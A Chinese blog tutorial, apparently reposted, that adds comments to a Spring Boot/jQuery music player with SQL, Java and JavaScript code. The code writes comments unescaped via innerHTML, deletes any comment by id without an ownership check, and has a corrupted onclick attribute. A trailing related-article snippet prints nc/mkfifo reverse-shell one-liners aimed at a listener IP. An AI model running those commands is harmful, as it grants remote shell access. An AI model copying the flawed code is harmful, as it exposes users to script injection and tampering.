项目7-音乐播放器6+评论区

1.准备前端界面

前端小白:怎么为你的网页增加评论功能?(一)_为网页添加评论区怎么弄-CSDN博客

参考的上述文章的前端代码

我们从上述前端图片知道,我们数据库需要准备的字段:

id,commentuserName,coomentmusicId,comment,time

2.数据库的准备

DROP TABLE IF EXISTS `commentmusic`;
CREATE TABLE `commentmusic` (
`id` int PRIMARY KEY AUTO_INCREMENT,
`commentuser_name` varchar(20) NOT NULL,
`commentmusic_id` int(11) NOT NULL,
`commenttime` DATETIME DEFAULT now(),
`comment` varchar(100) NOT NULL
);

3.提交评论数据

路径:"/comment/upload"

3.1 后端代码书写 

1.MAPPER

@Mapper
public interface CommentMapper {@Insert("insert into commentmusic(commentmusic_id,commentuser_name,comment) values " +"(#{commentmusicId},#{commentuserName},#{comment})")Integer insertComment(Integer commentmusicId,String commentuserName,String comment);
}

2.SERVICE

@Service
@Slf4j
public class CommentService {@Autowiredprivate CommentMapper commentMapper;@Autowiredprivate MusicMapper musicMapper;public Result insertComment(Integer commentmusicId, String commentuserName, String comment){Comment commentable=new Comment();if(!StringUtils.hasLength(comment)){return Result.fail(Constant.RESULT_CODE_NO_CHOICE,"评论不能为空");}else if(musicMapper.selectByMusicId(commentmusicId)==null){return Result.fail(Constant.RESULT_CODE_NOTMP3_DELETEFAIL,"没有该音乐");}Integer factor=commentMapper.insertComment(commentmusicId,commentuserName,comment);if(factor<1){return Result.fail(Constant.RESULT_CODE_FAIL_SQL,"数据库插入失败");}commentable.setComment(comment);commentable.setCommentmusicId(commentmusicId);commentable.setCommentuserName(commentuserName);return Result.success(true);}
}

3.Controller

@RestController
@RequestMapping("/comment")
public class CommentController {@Autowiredprivate CommentService commentService;@RequestMapping("/upload")public Result insertComment(Integer commentmusicId, String comment, HttpSession httpSession){//获得当前的用户名User user= (User) httpSession.getAttribute(Constant.USERINFO_SESSION_KEY);String commentuserName=user.getUsername();return commentService.insertComment(commentmusicId, commentuserName, comment);}
}

3.2 后端测试

4.评论页面展示 

4.1 后端代码书写

MAPPER

@Select("select * from commentmusic where commentmusic_id=#{commentmusicId}")
List<Comment> selectAllComment(Integer commentmusicId);

SERVICE

public Result selectAllComment(Integer commentmusicId){return Result.success(commentMapper.selectAllComment(commentmusicId));
}

CONTROLLER

@RequestMapping("/list")
public Result selectAllComment(Integer commentmusicId){return Result.success(commentService.selectAllComment(commentmusicId));
}

4.2 后端测试

成功!!!

5.SECTION3和SECTION4的前端代码书写 

前端测试成功!!!

想加入删除评论的功能

这时候我们要让前端获取一些值,后端增加方法

@RequestMapping("/view")
public Result InsertUserInfo(HttpSession httpSession){User user=(User) httpSession.getAttribute(Constant.USERINFO_SESSION_KEY);return Result.success(user.getUsername());
}

前端的书写 

        $(function(){

            $.ajax({

                type: "get",

                url: "/user/view",

                success: function(result){

                    if(result.status==200){

                        var userName=result.data;

                        load(userName);

                    }

                   

                }

            })

        });

        function load(userName){

            $.ajax({

                type: "get",

                url: "/comment/list"+location.search,              

                success: function(result){

                    if(result!=null&&result.status==200){

                        var data=result.data;

                        for(var i = 0; i < data.length;i++) {

                            var deleteflag='<td> <button class = "btn btn-primary"  οnclick="deleteInfo('+data[i].id+')"> 删除 </button>';

                            var value= data[i].comment+" ";

                            var p= document.createElement("p");

                            if(data[i].commentuserName==userName){

                                p.innerHTML="用户:"+data[i].commentuserName+'<hr>'+value+'<hr>'+data[i].commenttime+' '+deleteflag;

                            }else{

                                p.innerHTML="用户:"+data[i].commentuserName+'<hr>'+value+'<hr>'+data[i].commenttime;

                            }

                           

                            document.getElementById("commend").prepend(p);

                        }

                       

                    }

                },

                error: function(error){

                    if(error!=null&&error.status==401){

                        alert("请登录用户");

                        location.href = "login.html";

                    }

                }

            });

        }

        function send(){

            $.ajax({

                type: "get",

                url: "/comment/upload"+location.search,

                data:{

                    comment: $("#typing").val()

                },

                error: function(error){

                    if(error!=null&&error.status==401){

                        alert("请登录用户");

                        location.href = "login.html";

                    }

                },

                success: function(result){

                    location.reload();

                }

            });

        }

此时,自己写的评论可以看到删除按钮 

5.1 完成删除评论的功能

@RequestMapping("/delete")
public Result deleteComment(Integer id){return commentService.deleteComment(id);
}

function deleteInfo(id){

            $.ajax({

                type: "get",

                url: "/comment/delete",

                data:{

                    id: id,

                },

                success: function(result){

                    if(result.status==200){

                        alert("删除评论成功");

                        location.reload();

                    }

                }

            });

        }

 删除成功!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826792.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…

Mac电池管理软件 Batteries for Mac v2.2.9直装版

Batteries for Mac&#xff0c;作为一款专为Mac用户设计的电池管理软件&#xff0c;以其强大的功能和智能的监测机制&#xff0c;为用户提供了便捷、高效的电池使用体验。 Batteries for Mac(Mac电池)v2.2.9直装版下载 首先&#xff0c;Batteries for Mac具备实时电池监测功能&…

【动态规划 状态机dp 性能优化】3098. 求出所有子序列的能量和

本文涉及知识点 动态规划 状态机dp 性能优化 LeetCode3098. 求出所有子序列的能量和 给你一个长度为 n 的整数数组 nums 和一个 正 整数 k 。 一个子序列的 能量 定义为子序列中 任意 两个元素的差值绝对值的 最小值 。 请你返回 nums 中长度 等于 k 的 所有 子序列的 能量和…

【Pytorch】Yolov5中CPU转GPU过程报错完善留档归纳

Yolov5 从CPU转GPU Python多版本切换 Conda包处理 文章目录 Yolov5 从CPU转GPU Python多版本切换 Conda包处理1.Pytorch套件中存在版本不匹配2.numpy停留在3.8没跟上pytorch2.2.23.ModuleNotFoundError: No module named pandas._libs.interval4.ImportError: cannot imp…

Windows使用freeSSHd搭建sftp服务器

一、安装 1、运行freeSSHd.exe&#xff08;最好以管理员方式运行&#xff09; 2、选择安装位置 3、选择全部安装 4、是否创建开始启动栏快捷入口 5、是否创建桌面快捷方式 6、安装 7、安装完成&#xff0c;点击close 8、安装私钥 9、是否要安装为服务 10、全部安装完成 二、配…

Git 新手快速入门教程

一、什么是 Git 1. 何为版本控制 版本控制是一种记录文件变化的系统&#xff0c;可以跟踪文件的修改历史&#xff0c;并允许用户在不同版本之间进行比较、恢复或合并。它主要用于软件开发过程中管理代码的变更&#xff0c;但也可以应用于任何需要跟踪文件变更的场景。 版本控…

【电路笔记】-LC 振荡器基础知识

LC 振荡器基础知识 文章目录 LC 振荡器基础知识1、概述2、振荡器谐振3、阻尼振荡3、基本晶体管LC振荡器电路5、LC 振荡器示例16、总结1、概述 振荡器是以精确频率生成连续周期性波形的电子电路。 LC 振荡器将直流输入(电源电压)转换为交流输出(波形)。 该输出波形可以具有…

ROS机器人实战,对标古月老师HRMRP机器人(一)——机器人总体方案设计

咳咳&#xff01;这个是自己的毕业设计&#xff0c;内容比较多就拆开发。设计实现了一款SLAM移动机器人&#xff0c;加机械臂完成视觉识别抓取的&#xff0c;同时还有语音识别控制、QT上位机控制、Web网页控制。前几年看古月老师的视频&#xff0c;看到古月老师设计的HRMRP&…

SpringCloud-搭建XXL-JOB任务调度平台教程

一、XXL-JOB任务调度平台介绍 XXL-JOB是一个轻量级分布式任务调度框架&#xff0c;旨在解决分布式系统中的任务调度问题&#xff0c;提高系统的处理效率和任务管理的便捷性。 1. XXL-JOB任务调度概念 XXL-JOB任务调度平台通过中心化管理方式&#xff0c;使得任务的调度更加高…

设计模式之观察者模式(优先使用对象组合的原则)的C++实现

观察者模式又称订阅者发布者模式&#xff0c;本篇介绍主要是利用对象组合大于类继承的设计模式原则实现订阅发布模式&#xff0c;这种设计的优点是想订阅数据的类不需要继承订阅者类的抽象类&#xff0c;减少了一层类的继承&#xff1b;当然&#xff0c;具体情况需要可根据需求…

Hive 中常用的函数以及数据类型

数据类型 1.基本数据类型: 数据类型大小范围示例TINYINT1byte-128 ~ 127100YSMALLINT2byte-32768 ~ 32767100SINT4byte-2^32~ 2^32-1100BIGINT8byte-2^64~ 2^64-1100LFLOAT4byte单精度浮点数5.21DOUBLE8byte双精度浮点数5.21DECIMAL-高精度浮点数DECIMAL(9,8)BOOLEAN-布尔型tr…

linux 下的 sqlite数据库

SQLite 认识 SQLite简介 轻量化&#xff0c;易用的嵌入式数据库&#xff0c;用于设备端的数据管理&#xff0c;可以理解成单点的数据库。传统服务器型数据库用于管理多端设备&#xff0c;更加复杂 SQLite是一个无服务器的数据库&#xff0c;是自包含的。这也称为嵌入式数据库&…

【语音识别】在Win11使用Docker部署FunASR服务器

文章目录 在 Win11 使用 Docker 部署 FunASR 服务器镜像启动服务端启动监控服务端日志下载测试案例使用测试案例打开基于 HTML 的案例连接ASR服务端 关闭FunASR服务 在 Win11 使用 Docker 部署 FunASR 服务器 该文章因官网文档不详细故写的经验论 官网文章&#xff1a;https:/…